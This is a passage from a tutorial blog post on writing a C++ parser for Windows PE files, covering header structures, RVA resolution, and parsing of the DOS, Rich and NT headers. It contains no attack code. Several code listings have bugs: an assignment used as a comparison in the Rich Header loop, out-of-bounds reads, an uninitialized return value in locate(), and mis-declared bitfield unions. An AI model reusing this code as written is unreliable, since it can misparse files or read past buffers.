    ___IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} ___IMAGE_NT_HEADERS64, * ___PIMAGE_NT_HEADERS64;

typedef struct __IMAGE_NT_HEADERS {
    DWORD Signature;
    ___IMAGE_FILE_HEADER FileHeader;
    ___IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} ___IMAGE_NT_HEADERS32, * ___PIMAGE_NT_HEADERS32;

typedef struct __IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} ___IMAGE_IMPORT_DESCRIPTOR, * ___PIMAGE_IMPORT_DESCRIPTOR;

typedef struct __IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    char   Name[100];
} ___IMAGE_IMPORT_BY_NAME, * ___PIMAGE_IMPORT_BY_NAME;

typedef struct __IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
} ___IMAGE_BASE_RELOCATION, * ___PIMAGE_BASE_RELOCATION;

typedef struct __IMAGE_SECTION_HEADER {
    BYTE    Name[___IMAGE_SIZEOF_SHORT_NAME];
    union {
        DWORD   PhysicalAddress;
        DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} ___IMAGE_SECTION_HEADER, * ___PIMAGE_SECTION_HEADER;

Custom Structures

I defined the following structures to help with the parsing process. They’re defined in the PEFILE_CUSTOM_STRUCTS.h header.

RICH_HEADER_INFO

A structure to hold information about the Rich Header during processing.

typedef struct __RICH_HEADER_INFO {
    int size;
    char* ptrToBuffer;
    int entries;
} RICH_HEADER_INFO, * PRICH_HEADER_INFO;
  • size: Size of the Rich Header (in bytes).
  • ptrToBuffer: A pointer to the buffer containing the data of the Rich Header.
  • entries: Number of entries in the Rich Header.
RICH_HEADER_ENTRY

A structure to represent a Rich Header entry.

typedef struct __RICH_HEADER_ENTRY {
    WORD  prodID;
    WORD  buildID;
    DWORD useCount;
} RICH_HEADER_ENTRY, * PRICH_HEADER_ENTRY;
  • prodID: Type ID / Product ID.
  • buildID: Build ID.
  • useCount: Use count.
RICH_HEADER

A structure to represent the Rich Header.

typedef struct __RICH_HEADER {
    PRICH_HEADER_ENTRY entries;
} RICH_HEADER, * PRICH_HEADER;
  • entries: A pointer to a RICH_HEADER_ENTRY array.
ILT_ENTRY_32

A structure to represent a 32-bit ILT entry during processing.

typedef struct __ILT_ENTRY_32 {
    union {
        DWORD ORDINAL : 16;
        DWORD HINT_NAME_TABE : 32;
        DWORD ORDINAL_NAME_FLAG : 1;
    } FIELD_1;
} ILT_ENTRY_32, * PILT_ENTRY_32;

The structure will hold a 32-bit value and will return the appropriate piece of information (using bit fields) when the member corresponding to that piece of information is accessed.

ILT_ENTRY_64

A structure to represent a 64-bit ILT entry during processing.

typedef struct __ILT_ENTRY_64 {
    union {
        DWORD ORDINAL : 16;
        DWORD HINT_NAME_TABE : 32;
    } FIELD_2;
    DWORD ORDINAL_NAME_FLAG : 1;
} ILT_ENTRY_64, * PILT_ENTRY_64;

The structure will hold a 64-bit value and will return the appropriate piece of information (using bit fields) when the member corresponding to that piece of information is accessed.

BASE_RELOC_ENTRY

A structure to represent a base relocation entry during processing.

typedef struct __BASE_RELOC_ENTRY {
    WORD OFFSET : 12;
    WORD TYPE : 4;
} BASE_RELOC_ENTRY, * PBASE_RELOC_ENTRY;
  • OFFSET: Relocation offset.
  • TYPE: Relocation type.

PEFILE

Our parser will represent a PE file as an object type of either PE32FILE or PE64FILE.
These 2 classes only differ in some member definitions but their functionality is identical.
Throughout this post we will use the code from PE64FILE.

Definition

The class is defined as follows:

class PE64FILE
{
public:
    PE64FILE(char* _NAME, FILE* Ppefile);
	
    void PrintInfo();

private:
    char* NAME;
    FILE* Ppefile;
    int _import_directory_count, _import_directory_size;
    int _basreloc_directory_count;

    // HEADERS
    ___IMAGE_DOS_HEADER     PEFILE_DOS_HEADER;
    ___IMAGE_NT_HEADERS64   PEFILE_NT_HEADERS;

    // DOS HEADER
    DWORD PEFILE_DOS_HEADER_EMAGIC;
    LONG  PEFILE_DOS_HEADER_LFANEW;

    // RICH HEADER
    RICH_HEADER_INFO PEFILE_RICH_HEADER_INFO;
    RICH_HEADER PEFILE_RICH_HEADER;

    // NT_HEADERS.Signature
    DWORD PEFILE_NT_HEADERS_SIGNATURE;

    // NT_HEADERS.FileHeader
    WORD PEFILE_NT_HEADERS_FILE_HEADER_MACHINE;
    WORD PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS;
    WORD PEFILE_NT_HEADERS_FILE_HEADER_SIZEOF_OPTIONAL_HEADER;

    // NT_HEADERS.OptionalHeader
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_MAGIC;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_CODE;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_INITIALIZED_DATA;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_UNINITIALIZED_DATA;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_ADDRESSOF_ENTRYPOINT;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_BASEOF_CODE;
    ULONGLONG PEFILE_NT_HEADERS_OPTIONAL_HEADER_IMAGEBASE;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_SECTION_ALIGNMENT;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_FILE_ALIGNMENT;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_IMAGE;
    DWORD PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_HEADERS;

    ___IMAGE_DATA_DIRECTORY PEFILE_EXPORT_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_IMPORT_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_RESOURCE_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_EXCEPTION_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_SECURITY_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_BASERELOC_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_DEBUG_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_ARCHITECTURE_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_GLOBALPTR_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_TLS_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_LOAD_CONFIG_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_BOUND_IMPORT_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_IAT_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_DELAY_IMPORT_DIRECTORY;
    ___IMAGE_DATA_DIRECTORY PEFILE_COM_DESCRIPTOR_DIRECTORY;

    // SECTION HEADERS
    ___PIMAGE_SECTION_HEADER PEFILE_SECTION_HEADERS;

    // IMPORT TABLE
    ___PIMAGE_IMPORT_DESCRIPTOR PEFILE_IMPORT_TABLE;
    
    // BASE RELOCATION TABLE
    ___PIMAGE_BASE_RELOCATION PEFILE_BASERELOC_TABLE;

    // FUNCTIONS
    
    // ADDRESS RESOLVERS
    int  locate(DWORD VA);
    DWORD resolve(DWORD VA, int index);

    // PARSERS
    void ParseFile();
    void ParseDOSHeader();
    void ParseNTHeaders();
    void ParseSectionHeaders();
    void ParseImportDirectory();
    void ParseBaseReloc();
    void ParseRichHeader();

    // PRINT INFO
    void PrintFileInfo();
    void PrintDOSHeaderInfo();
    void PrintRichHeaderInfo();
    void PrintNTHeadersInfo();
    void PrintSectionHeadersInfo();
    void PrintImportTableInfo();
    void PrintBaseRelocationsInfo();
};

The only public member beside the class constructor is a function called printInfo() which will print information about the file.

The class constructor takes two parameters, a char array representing the name of the file and a file pointer to the actual data of the file.

After that comes a long series of variables definitions, these class members are going to be used internally during the parsing process and we’ll mention each one of them later.

In the end is a series of methods definitions, first two methods are called locate and resolve, I will talk about them in a minute.
The rest are functions responsible for parsing different parts of the file, and functions responsible for printing information about the same parts.

Constructor

The constructor of the class simply sets the file pointer and name variables, then it calls the ParseFile() function.

PE64FILE::PE64FILE(char* _NAME, FILE* _Ppefile) {
	
	NAME = _NAME;
	Ppefile = _Ppefile;

	ParseFile();

}

The ParseFile() function calls the other parser functions:

void PE64FILE::ParseFile() {

	// PARSE DOS HEADER
	ParseDOSHeader();

	// PARSE RICH HEADER
	ParseRichHeader();

	//PARSE NT HEADERS
	ParseNTHeaders();

	// PARSE SECTION HEADERS
	ParseSectionHeaders();

	// PARSE IMPORT DIRECTORY
	ParseImportDirectory();

	// PARSE BASE RELOCATIONS
	ParseBaseReloc();

}

Resolving RVAs

Most of the time, we’ll have a RVA that we’ll need to change to a file offset.
The process of resolving an RVA can be outlined as follows:

  1. Determine which section range contains that RVA:
    • Iterate over all sections and for each section compare the RVA to the section virtual address and to the section virtual address added to the virtual size of the section.
    • If the RVA exists within this range then it belongs to that section.
  2. Calculate the file offset:
    • Subtract the RVA from the section virtual address.
    • Add that value to the raw data pointer of the section.

An example of this is locating a Data Directory.
The IMAGE_DATA_DIRECTORY structure only gives us an RVA of the directory, to locate that directory we’ll need to resolve that address.

I wrote two functions to do this, first one to locate the virtual address (locate()), second one to resolve the address (resolve()).

int PE64FILE::locate(DWORD VA) {
	
	int index;
	
	for (int i = 0; i < PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS; i++) {
		if (VA >= PEFILE_SECTION_HEADERS[i].VirtualAddress
			&& VA < (PEFILE_SECTION_HEADERS[i].VirtualAddress + PEFILE_SECTION_HEADERS[i].Misc.VirtualSize)){
			index = i;
			break;
		}
	}
	return index;
}

DWORD PE64FILE::resolve(DWORD VA, int index) {

	return (VA - PEFILE_SECTION_HEADERS[index].VirtualAddress) + PEFILE_SECTION_HEADERS[index].PointerToRawData;

}

locate() iterates over the PEFILE_SECTION_HEADERS array, compares the RVA as described above, then it returns the index of the appropriate section header within the PEFILE_SECTION_HEADERS array.

Please note that in order for these functions to work we’ll need to parse out the section headers and fill the PEFILE_SECTION_HEADERS array first.
We still haven’t discussed this part, but I wanted to talk about the address resolvers first.

main function

The main function of the program is fairly simple, it only does 2 things:

  • Create a file pointer to the given file, and validate that the file was read correctly.
  • Call INITPARSE() on the file, and based on the return value it decides between three actions:
    • Exit.
    • Create a PE32FILE object, call PrintInfo(), close the file pointer then exit.
    • Create a PE64FILE object, call PrintInfo(), close the file pointer then exit.

PrintInfo() calls the other print info functions.

int main(int argc, char* argv[])
{
	if (argc != 2) {
		printf("Usage: %s [path to executable]\n", argv[0]);
		return 1;
	}

	FILE * PpeFile;
	fopen_s(&PpeFile, argv[1], "rb");

	if (PpeFile == NULL) {
		printf("Can't open file.\n");
		return 1;
	}

	if (INITPARSE(PpeFile) == 1) {
		exit(1);
	}
	else if (INITPARSE(PpeFile) == 32) {
		PE32FILE PeFile_1(argv[1], PpeFile);
		PeFile_1.PrintInfo();
		fclose(PpeFile);
		exit(0);
	}
	else if (INITPARSE(PpeFile) == 64) {
		PE64FILE PeFile_1(argv[1], PpeFile);
		PeFile_1.PrintInfo();
		fclose(PpeFile);
		exit(0);
	}

	return 0;
}

INITPARSE()

INITPARSE() is a function defined in PEFILE.cpp.
Its only job is to validate that the given file is a PE file, then determine whether the file is PE32 or PE32+.

It reads the DOS header of the file and checks the DOS MZ header, if not found it returns an error.

After validating the PE file, it sets the file position to (DOS_HEADER.e_lfanew + size of DWORD (PE signature) + size of the file header) which is the exact offset of the beginning of the Optional Header.
Then it reads a WORD, we know that the first WORD of the Optional Header is a magic value that indicates the file type, it then compares that word to IMAGE_NT_OPTIONAL_HDR32_MAGIC and IMAGE_NT_OPTIONAL_HDR64_MAGIC, and based on the comparison results it either returns 32 or 64 indicating PE32 or PE32+, or it returns an error.

int INITPARSE(FILE* PpeFile) {

	___IMAGE_DOS_HEADER TMP_DOS_HEADER;
	WORD PEFILE_TYPE;

	fseek(PpeFile, 0, SEEK_SET);
	fread(&TMP_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, PpeFile);

	if (TMP_DOS_HEADER.e_magic != ___IMAGE_DOS_SIGNATURE) {
		printf("Error. Not a PE file.\n");
		return 1;
	}

	fseek(PpeFile, (TMP_DOS_HEADER.e_lfanew + sizeof(DWORD) + sizeof(___IMAGE_FILE_HEADER)), SEEK_SET);
	fread(&PEFILE_TYPE, sizeof(WORD), 1, PpeFile);

	if (PEFILE_TYPE == ___IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
		return 32;
	}
	else if (PEFILE_TYPE == ___IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
		return 64;
	}
	else {
		printf("Error while parsing IMAGE_OPTIONAL_HEADER.Magic. Unknown Type.\n");
		return 1;
	}

}

Parsing DOS Header

ParseDOSHeader()

Parsing out the DOS Header is nothing complicated, we just need to read from the beginning of the file an amount of bytes equal to the size of the DOS Header, then we can assign that data to the pre-defined class member PEFILE_DOS_HEADER.
From there we can access all of the struct members, however we’re only interested in e_magic and e_lfanew.

void PE64FILE::ParseDOSHeader() {
	
	fseek(Ppefile, 0, SEEK_SET);
	fread(&PEFILE_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, Ppefile);

	PEFILE_DOS_HEADER_EMAGIC = PEFILE_DOS_HEADER.e_magic;
	PEFILE_DOS_HEADER_LFANEW = PEFILE_DOS_HEADER.e_lfanew;

}

PrintDOSHeaderInfo()

This function prints e_magic and e_lfanew values.

void PE64FILE::PrintDOSHeaderInfo() {
	
	printf(" DOS HEADER:\n");
	printf(" -----------\n\n");

	printf(" Magic: 0x%X\n", PEFILE_DOS_HEADER_EMAGIC);
	printf(" File address of new exe header: 0x%X\n", PEFILE_DOS_HEADER_LFANEW);

}


Parsing Rich Header

Process

To parse out the Rich Header we’ll need to go through multiple steps.

We don’t know anything about the Rich Header, we don’t know its size, we don’t know where it’s exactly located, we don’t even know if the file we’re processing contains a Rich Header in the first place.

First of all, we need to locate the Rich Header.
We don’t know the exact location, however we have everything we need to locate it.
We know that if a Rich Header exists, then it has to exist between the DOS Stub and the PE signature or the beginning of the NT Headers.
We also know that any Rich Header ends with a 32-bit value Rich followed by the XOR key.

One might rely on the fixed size of the DOS Header and the DOS Stub, however, the default DOS Stub message can be changed, so that size is not guaranteed to be fixed.
A better approach would be to read from the beginning of the file to the start of the NT Headers, then search through that buffer for the Rich sequence, if found then we’ve successfully located the end of the Rich Header, if not found then most likely the file doesn’t contain a Rich Header.

Once we’ve located the end of the Rich Header, we can read the XOR key, then go backwards starting from the Rich signature and keep XORing 4 bytes at a time until we reach the DanS signature which indicates the beginning of the Rich Header.

After obtaining the position and the size of the Rich Header, we can normally read and process the data.

ParseRichHeader()

This function starts by allocating a buffer on the heap, then it reads e_lfanew size of bytes from the beginning of the file and stores the data in the allocated buffer.

It then goes through a loop where it does a linear search byte by byte. In each iteration it compares the current byte and the byte the follows to 0x52 (R) and 0x69 (i).
When the sequence is found, it stores the index in a variable then the loop breaks.

	char* dataPtr = new char[PEFILE_DOS_HEADER_LFANEW];
	fseek(Ppefile, 0, SEEK_SET);
	fread(dataPtr, PEFILE_DOS_HEADER_LFANEW, 1, Ppefile);

	int index_ = 0;

	for (int i = 0; i <= PEFILE_DOS_HEADER_LFANEW; i++) {
		if (dataPtr[i] == 0x52 && dataPtr[i + 1] == 0x69) {
			index_ = i;
			break;
		}
	}

	if (index_ == 0) {
		printf("Error while parsing Rich Header.");
		PEFILE_RICH_HEADER_INFO.entries = 0;
		return;
	}

After that it reads the XOR key, then goes into the decryption loop where in each iteration it increments RichHeaderSize by 4 until it reaches the DanS sequence.

	char key[4];
	memcpy(key, dataPtr + (index_ + 4), 4);

	int indexpointer = index_ - 4;
	int RichHeaderSize = 0;

	while (true) {
		char tmpchar[4];
		memcpy(tmpchar, dataPtr + indexpointer, 4);

		for (int i = 0; i < 4; i++) {
			tmpchar[i] = tmpchar[i] ^ key[i];
		}

		indexpointer -= 4;
		RichHeaderSize += 4;

		if (tmpchar[1] = 0x61 && tmpchar[0] == 0x44) {
			break;
		}
	}

After obtaining the size and the position, it allocates a new buffer for the Rich Header, reads and decrypts the Rich Header, updates PEFILE_RICH_HEADER_INFO with the appropriate data pointer, size and number of entries, then finally it deallocates the buffer it was using for processing.

	char* RichHeaderPtr = new char[RichHeaderSize];
	memcpy(RichHeaderPtr, dataPtr + (index_ - RichHeaderSize), RichHeaderSize);

	for (int i = 0; i < RichHeaderSize; i += 4) {

		for (int x = 0; x < 4; x++) {
			RichHeaderPtr[i + x] = RichHeaderPtr[i + x] ^ key[x];
		}

	}

	PEFILE_RICH_HEADER_INFO.size = RichHeaderSize;
	PEFILE_RICH_HEADER_INFO.ptrToBuffer = RichHeaderPtr;
	PEFILE_RICH_HEADER_INFO.entries = (RichHeaderSize - 16) / 8;

	delete[] dataPtr;

The rest of the function reads each entry of the Rich Header and updates PEFILE_RICH_HEADER.

	PEFILE_RICH_HEADER.entries = new RICH_HEADER_ENTRY[PEFILE_RICH_HEADER_INFO.entries];

	for (int i = 16; i < RichHeaderSize; i += 8) {
		WORD PRODID = (uint16_t)((unsigned char)RichHeaderPtr[i + 3] << 8) | (unsigned char)RichHeaderPtr[i + 2];
		WORD BUILDID = (uint16_t)((unsigned char)RichHeaderPtr[i + 1] << 8) | (unsigned char)RichHeaderPtr[i];
		DWORD USECOUNT = (uint32_t)((unsigned char)RichHeaderPtr[i + 7] << 24) | (unsigned char)RichHeaderPtr[i + 6] << 16 | (unsigned char)RichHeaderPtr[i + 5] << 8 | (unsigned char)RichHeaderPtr[i + 4];
		PEFILE_RICH_HEADER.entries[(i / 8) - 2] = {
			PRODID,
			BUILDID,
			USECOUNT
		};

		if (i + 8 >= RichHeaderSize) {
			PEFILE_RICH_HEADER.entries[(i / 8) - 1] = { 0x0000, 0x0000, 0x00000000 };
		}

	}

	delete[] PEFILE_RICH_HEADER_INFO.ptrToBuffer;

Here’s the full function:

void PE64FILE::ParseRichHeader() {
	
	char* dataPtr = new char[PEFILE_DOS_HEADER_LFANEW];
	fseek(Ppefile, 0, SEEK_SET);
	fread(dataPtr, PEFILE_DOS_HEADER_LFANEW, 1, Ppefile);

	int index_ = 0;

	for (int i = 0; i <= PEFILE_DOS_HEADER_LFANEW; i++) {
		if (dataPtr[i] == 0x52 && dataPtr[i + 1] == 0x69) {
			index_ = i;
			break;
		}
	}

	if (index_ == 0) {
		printf("Error while parsing Rich Header.");
		PEFILE_RICH_HEADER_INFO.entries = 0;
		return;
	}

	char key[4];
	memcpy(key, dataPtr + (index_ + 4), 4);

	int indexpointer = index_ - 4;
	int RichHeaderSize = 0;

	while (true) {
		char tmpchar[4];
		memcpy(tmpchar, dataPtr + indexpointer, 4);

		for (int i = 0; i < 4; i++) {
			tmpchar[i] = tmpchar[i] ^ key[i];
		}

		indexpointer -= 4;
		RichHeaderSize += 4;

		if (tmpchar[1] = 0x61 && tmpchar[0] == 0x44) {
			break;
		}
	}

	char* RichHeaderPtr = new char[RichHeaderSize];
	memcpy(RichHeaderPtr, dataPtr + (index_ - RichHeaderSize), RichHeaderSize);

	for (int i = 0; i < RichHeaderSize; i += 4) {

		for (int x = 0; x < 4; x++) {
			RichHeaderPtr[i + x] = RichHeaderPtr[i + x] ^ key[x];
		}

	}

	PEFILE_RICH_HEADER_INFO.size = RichHeaderSize;
	PEFILE_RICH_HEADER_INFO.ptrToBuffer = RichHeaderPtr;
	PEFILE_RICH_HEADER_INFO.entries = (RichHeaderSize - 16) / 8;

	delete[] dataPtr;

	PEFILE_RICH_HEADER.entries = new RICH_HEADER_ENTRY[PEFILE_RICH_HEADER_INFO.entries];

	for (int i = 16; i < RichHeaderSize; i += 8) {
		WORD PRODID = (uint16_t)((unsigned char)RichHeaderPtr[i + 3] << 8) | (unsigned char)RichHeaderPtr[i + 2];
		WORD BUILDID = (uint16_t)((unsigned char)RichHeaderPtr[i + 1] << 8) | (unsigned char)RichHeaderPtr[i];
		DWORD USECOUNT = (uint32_t)((unsigned char)RichHeaderPtr[i + 7] << 24) | (unsigned char)RichHeaderPtr[i + 6] << 16 | (unsigned char)RichHeaderPtr[i + 5] << 8 | (unsigned char)RichHeaderPtr[i + 4];
		PEFILE_RICH_HEADER.entries[(i / 8) - 2] = {
			PRODID,
			BUILDID,
			USECOUNT
		};

		if (i + 8 >= RichHeaderSize) {
			PEFILE_RICH_HEADER.entries[(i / 8) - 1] = { 0x0000, 0x0000, 0x00000000 };
		}

	}

	delete[] PEFILE_RICH_HEADER_INFO.ptrToBuffer;

}

PrintRichHeaderInfo()

This function iterates over each entry in PEFILE_RICH_HEADER and prints its value.

void PE64FILE::PrintRichHeaderInfo() {
	
	printf(" RICH HEADER:\n");
	printf(" ------------\n\n");

	for (int i = 0; i < PEFILE_RICH_HEADER_INFO.entries; i++) {
		printf(" 0x%X 0x%X 0x%X: %d.%d.%d\n",
			PEFILE_RICH_HEADER.entries[i].buildID,
			PEFILE_RICH_HEADER.entries[i].prodID,
			PEFILE_RICH_HEADER.entries[i].useCount,
			PEFILE_RICH_HEADER.entries[i].buildID,
			PEFILE_RICH_HEADER.entries[i].prodID,
			PEFILE_RICH_HEADER.entries[i].useCount);
	}

}


Parsing NT Headers

ParseNTHeaders()

Similar to the DOS Header, all we need to do is to read from e_lfanew an amount of bytes equal to the size of IMAGE_NT_HEADERS.

After that we can parse out the contents of the File Header and the Optional Header.

The Optional Header contains an array of IMAGE_DATA_DIRECTORY structures which we care about.
To parse out this information, we can use the IMAGE_DIRECTORY_[...] constants defined in winnt.h as array indexes to access the corresponding IMAGE_DATA_DIRECTORY structure of each Data Directory.

void PE64FILE::ParseNTHeaders() {
	
	fseek(Ppefile, PEFILE_DOS_HEADER.e_lfanew, SEEK_SET);
	fread(&PEFILE_NT_HEADERS, sizeof(PEFILE_NT_HEADERS), 1, Ppefile);

	PEFILE_NT_HEADERS_SIGNATURE = PEFILE_NT_HEADERS.Signature;

	PEFILE_NT_HEADERS_FILE_HEADER_MACHINE = PEFILE_NT_HEADERS.FileHeader.Machine;
	PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS = PEFILE_NT_HEADERS.FileHeader.NumberOfSections;
	PEFILE_NT_HEADERS_FILE_HEADER_SIZEOF_OPTIONAL_HEADER = PEFILE_NT_HEADERS.FileHeader.SizeOfOptionalHeader;

	PEFILE_NT_HEADERS_OPTIONAL_HEADER_MAGIC = PEFILE_NT_HEADERS.OptionalHeader.Magic;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_CODE = PEFILE_NT_HEADERS.OptionalHeader.SizeOfCode;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_INITIALIZED_DATA = PEFILE_NT_HEADERS.OptionalHeader.SizeOfInitializedData;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_UNINITIALIZED_DATA = PEFILE_NT_HEADERS.OptionalHeader.SizeOfUninitializedData;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_ADDRESSOF_ENTRYPOINT = PEFILE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_BASEOF_CODE = PEFILE_NT_HEADERS.OptionalHeader.BaseOfCode;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_IMAGEBASE = PEFILE_NT_HEADERS.OptionalHeader.ImageBase;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_SECTION_ALIGNMENT = PEFILE_NT_HEADERS.OptionalHeader.SectionAlignment;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_FILE_ALIGNMENT = PEFILE_NT_HEADERS.OptionalHeader.FileAlignment;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_IMAGE = PEFILE_NT_HEADERS.OptionalHeader.SizeOfImage;
	PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_HEADERS = PEFILE_NT_HEADERS.OptionalHeader.SizeOfHeaders;

	PEFILE_EXPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_EXPORT];
	PEFILE_IMPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_IMPORT];
	PEFILE_RESOURCE_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_RESOURCE];
	PEFILE_EXCEPTION_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_EXCEPTION];
	PEFILE_SECURITY_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_SECURITY];
	PEFILE_BASERELOC_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_BASERELOC];
	PEFILE_DEBUG_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_DEBUG];
	PEFILE_ARCHITECTURE_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_ARCHITECTURE];
	PEFILE_GLOBALPTR_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_GLOBALPTR];
	PEFILE_TLS_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_TLS];
	PEFILE_LOAD_CONFIG_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG];
	PEFILE_BOUND_IMPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT];
	PEFILE_IAT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_IAT];
	PEFILE_DELAY_IMPORT_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
	PEFILE_COM_DESCRIPTOR_DIRECTORY = PEFILE_NT_HEADERS.OptionalHeader.DataDirectory[___IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR];

}

PrintNTHeadersInfo()

This function prints the data obtained from the File Header and the Optional Header, and for each Data Directory it prints its RVA and size.

void PE64FILE::PrintNTHeadersInfo() {
	
	printf(" NT HEADERS:\n");
	printf(" -----------\n\n");

	printf(" PE Signature: 0x%X\n", PEFILE_NT_HEADERS_SIGNATURE);

	printf("\n File Header:\n\n");
	printf("   Machine: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_MACHINE);
	printf("   Number of sections: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS);
	printf("   Size of optional header: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_SIZEOF_OPTIONAL_HEADER);

	printf("\n Optional Header:\n\n");
	printf("   Magic: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_MAGIC);
	printf("   Size of code section: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_CODE);
	printf("   Size of initialized data: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_INITIALIZED_DATA);
	printf("   Size of uninitialized data: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_UNINITIALIZED_DATA);
	printf("   Address of entry point: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_ADDRESSOF_ENTRYPOINT);
	printf("   RVA of start of code section: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_BASEOF_CODE);
	printf("   Desired image base: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_IMAGEBASE);
	printf("   Section alignment: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SECTION_ALIGNMENT);
	printf("   File alignment: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_FILE_ALIGNMENT);
	printf("   Size of image: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_IMAGE);
	printf("   Size of headers: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_HEADERS);

	printf("\n Data Directories:\n");
	printf("\n   * Export Directory:\n");
	printf("       RVA: 0x%X\n", PEFILE_EXPORT_DIRECTORY.VirtualAddress);
	printf("       Size: 0x%X\n", PEFILE_EXPORT_DIRECTORY.Size);
	.
	.
	[REDACTED]
	.
	.
	printf("\n   * COM Runtime Descriptor:\n");
	printf("       RVA: 0x%X\n", PEFILE_COM_DESCRIPTOR_DIRECTORY.VirtualAddress);
	printf("       Size: 0x%X\n", PEFILE_COM_DESCRIPTOR_DIRECTORY.Size);

}


Parsing Section Headers

ParseSectionHeaders()

